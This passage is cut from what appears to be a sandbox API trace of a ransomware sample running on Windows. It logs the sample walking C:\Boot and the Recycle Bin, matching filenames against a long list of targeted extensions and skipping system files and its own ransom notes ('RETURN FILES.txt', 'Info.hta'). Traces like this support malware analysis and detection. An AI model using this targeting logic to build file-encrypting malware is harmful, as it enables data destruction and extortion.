lpString2=".ini") returned -1 [0033.702] lstrlenW (lpString=".dwt") returned 4 [0033.702] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0033.702] lstrlenW (lpString=".dx") returned 3 [0033.702] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0033.702] lstrlenW (lpString=".dxf") returned 4 [0033.702] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0033.702] lstrlenW (lpString=".edml") returned 5 [0033.702] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0033.702] lstrlenW (lpString=".efd") returned 4 [0033.702] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0033.702] lstrlenW (lpString=".elf") returned 4 [0033.702] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0033.702] lstrlenW (lpString=".emf") returned 4 [0033.703] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0033.703] lstrlenW (lpString=".emz") returned 4 [0033.703] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0033.703] lstrlenW (lpString=".epf") returned 4 [0033.703] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0033.703] lstrlenW (lpString=".eps") returned 4 [0033.703] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0033.703] lstrlenW (lpString=".epsf") returned 5 [0033.703] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0033.703] lstrlenW (lpString=".epsp") returned 5 [0033.703] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0033.703] lstrlenW (lpString=".erf") returned 4 [0033.703] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0033.703] lstrlenW (lpString=".exr") returned 4 [0033.703] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0033.703] lstrlenW (lpString=".f4v") returned 4 [0033.703] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0033.703] lstrlenW (lpString=".fido") returned 5 [0033.703] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0033.703] lstrlenW (lpString=".flm") returned 4 [0033.703] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0033.703] lstrlenW (lpString=".flv") returned 4 [0033.703] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0033.703] lstrlenW (lpString=".frm") returned 4 [0033.703] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0033.703] lstrlenW (lpString=".fxg") returned 4 [0033.703] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0033.703] lstrlenW (lpString=".geo") returned 4 [0033.703] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0033.703] lstrlenW (lpString=".gif") returned 4 [0033.703] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0033.703] lstrlenW (lpString=".grs") returned 4 [0033.704] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0033.704] lstrlenW (lpString=".gz") returned 3 [0033.704] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0033.704] lstrlenW (lpString=".h") returned 2 [0033.704] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0033.704] lstrlenW (lpString=".hdr") returned 4 [0033.704] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0033.704] lstrlenW (lpString=".hpp") returned 4 [0033.704] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0033.704] lstrlenW (lpString=".hta") returned 4 [0033.704] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0033.704] lstrlenW (lpString=".htc") returned 4 [0033.704] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0033.704] lstrlenW (lpString=".htm") returned 4 [0033.704] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0033.704] lstrlenW (lpString=".html") returned 5 [0033.704] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0033.704] lstrlenW (lpString=".icb") returned 4 [0033.704] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0033.704] lstrlenW (lpString=".ics") returned 4 [0033.704] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0033.704] lstrlenW (lpString=".iff") returned 4 [0033.704] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0033.704] lstrlenW (lpString=".inc") returned 4 [0033.704] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0033.704] lstrlenW (lpString=".indd") returned 5 [0033.704] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0033.704] lstrlenW (lpString=".ini") returned 4 [0033.704] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0033.705] lstrlenW (lpString="desktop.ini") returned 11 [0033.705] lstrlenW (lpString=".MERS") returned 5 [0033.705] lstrcmpiW (lpString1=".MERS", lpString2="p.ini") returned -1 [0033.705] lstrlenW (lpString="desktop.ini") returned 11 [0033.705] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0033.705] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0033.705] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0033.705] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0033.705] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0033.705] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="desktop.ini") returned 1 [0033.705] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0033.705] lstrcmpiW (lpString1="chrome64b.exe", lpString2="desktop.ini") returned -1 [0033.705] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.705] FindNextFileW (in: hFindFile=0x6e43b8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0033.705] FindClose (in: hFindFile=0x6e43b8 | out: hFindFile=0x6e43b8) returned 1 [0033.705] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.705] FindNextFileW (in: hFindFile=0x6e3370, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0033.705] FindClose (in: hFindFile=0x6e3370 | out: hFindFile=0x6e3370) returned 1 [0033.705] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39106e0 | out: hHeap=0x5f0000) returned 1 [0033.705] FindNextFileW (in: hFindFile=0x6e3330, lpFindFileData=0x350fd00 | out: lpFindFileData=0x350fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0033.706] lstrlenW (lpString="C:\\Boot") returned 7 [0033.706] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0033.706] lstrlenW (lpString="Boot") returned 4 [0033.706] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0033.706] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39106e0 [0033.706] lstrlenW (lpString="C:\\Boot") returned 7 [0033.706] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e4378 [0033.706] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.706] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0033.706] lstrlenW (lpString="BCD") returned 3 [0033.706] lstrlenW (lpString=".1cd") returned 4 [0033.706] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0033.706] lstrlenW (lpString=".3ds") returned 4 [0033.706] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0033.706] lstrlenW (lpString=".3fr") returned 4 [0033.706] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0033.706] lstrlenW (lpString=".3g2") returned 4 [0033.706] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0033.706] lstrlenW (lpString=".3gp") returned 4 [0033.706] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0033.706] lstrlenW (lpString=".7z") returned 3 [0033.706] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0033.706] lstrlenW (lpString=".accda") returned 6 [0033.706] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".accdb") returned 6 [0033.707] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".accdc") returned 6 [0033.707] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".accde") returned 6 [0033.707] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".accdt") returned 6 [0033.707] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".accdw") returned 6 [0033.707] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".adb") returned 4 [0033.707] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".adp") returned 4 [0033.707] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".ai") returned 3 [0033.707] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0033.707] lstrlenW (lpString=".ai3") returned 4 [0033.707] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".ai4") returned 4 [0033.707] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".ai5") returned 4 [0033.707] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".ai6") returned 4 [0033.707] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".ai7") returned 4 [0033.707] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".ai8") returned 4 [0033.707] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".anim") returned 5 [0033.707] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".arw") returned 4 [0033.707] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".as") returned 3 [0033.707] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0033.707] lstrlenW (lpString=".asa") returned 4 [0033.707] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".asc") returned 4 [0033.707] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0033.707] lstrlenW (lpString=".ascx") returned 5 [0033.708] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".asm") returned 4 [0033.708] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".asmx") returned 5 [0033.708] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".asp") returned 4 [0033.708] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".aspx") returned 5 [0033.708] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".asr") returned 4 [0033.708] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".asx") returned 4 [0033.708] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".avi") returned 4 [0033.708] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".avs") returned 4 [0033.708] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".backup") returned 7 [0033.708] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".bak") returned 4 [0033.708] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".bay") returned 4 [0033.708] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".bd") returned 3 [0033.708] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0033.708] lstrlenW (lpString=".bin") returned 4 [0033.708] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".bmp") returned 4 [0033.708] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".bz2") returned 4 [0033.708] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".c") returned 2 [0033.708] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0033.708] lstrlenW (lpString=".cdr") returned 4 [0033.708] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".cer") returned 4 [0033.708] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0033.708] lstrlenW (lpString=".cf") returned 3 [0033.708] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0033.709] lstrlenW (lpString=".cfc") returned 4 [0033.709] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".cfm") returned 4 [0033.709] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".cfml") returned 5 [0033.709] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".cfu") returned 4 [0033.709] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".chm") returned 4 [0033.709] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".cin") returned 4 [0033.709] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".class") returned 6 [0033.709] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".clx") returned 4 [0033.709] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".config") returned 7 [0033.709] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".cpp") returned 4 [0033.709] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".cr2") returned 4 [0033.709] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".crt") returned 4 [0033.709] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".crw") returned 4 [0033.709] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".cs") returned 3 [0033.709] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0033.709] lstrlenW (lpString=".css") returned 4 [0033.709] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".csv") returned 4 [0033.709] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".cub") returned 4 [0033.709] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".dae") returned 4 [0033.709] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".dat") returned 4 [0033.709] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0033.709] lstrlenW (lpString=".db") returned 3 [0033.710] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0033.710] lstrlenW (lpString=".dbf") returned 4 [0033.710] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".dbx") returned 4 [0033.710] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".dc3") returned 4 [0033.710] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".dcm") returned 4 [0033.710] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".dcr") returned 4 [0033.710] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".der") returned 4 [0033.710] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".dib") returned 4 [0033.710] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".dic") returned 4 [0033.710] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".dif") returned 4 [0033.710] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".divx") returned 5 [0033.710] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".djvu") returned 5 [0033.710] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".dng") returned 4 [0033.710] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".doc") returned 4 [0033.710] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".docm") returned 5 [0033.710] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".docx") returned 5 [0033.710] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".dot") returned 4 [0033.710] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".dotm") returned 5 [0033.710] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".dotx") returned 5 [0033.710] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".dpx") returned 4 [0033.710] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0033.710] lstrlenW (lpString=".dqy") returned 4 [0033.711] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0033.711] lstrlenW (lpString=".dsn") returned 4 [0033.711] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0033.711] lstrlenW (lpString=".dt") returned 3 [0033.711] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0033.711] lstrlenW (lpString=".dtd") returned 4 [0033.711] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0033.711] lstrlenW (lpString=".dwg") returned 4 [0033.711] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0033.711] lstrlenW (lpString=".dwt") returned 4 [0033.711] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0033.711] lstrlenW (lpString=".dx") returned 3 [0033.711] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0033.711] lstrlenW (lpString=".dxf") returned 4 [0033.711] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0033.711] lstrlenW (lpString=".edml") returned 5 [0033.711] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0033.711] lstrlenW (lpString=".efd") returned 4 [0033.711] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0033.711] lstrlenW (lpString=".elf") returned 4 [0033.711] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0033.711] lstrlenW (lpString=".emf") returned 4 [0033.711] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0033.711] lstrlenW (lpString=".emz") returned 4 [0033.711] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0033.711] lstrlenW (lpString=".epf") returned 4 [0033.711] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0033.711] lstrlenW (lpString=".eps") returned 4 [0033.711] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0033.711] lstrlenW (lpString=".epsf") returned 5 [0033.711] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0033.711] lstrlenW (lpString=".epsp") returned 5 [0033.711] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0033.711] lstrlenW (lpString=".erf") returned 4 [0033.711] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0033.711] lstrlenW (lpString=".exr") returned 4 [0033.712] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0033.712] lstrlenW (lpString=".f4v") returned 4 [0033.712] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0033.712] lstrlenW (lpString=".fido") returned 5 [0033.712] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0033.712] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.712] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.712] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.712] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.713] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.713] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.713] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0033.713] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.713] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.713] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.713] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.714] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.714] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.714] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0033.714] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.714] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, 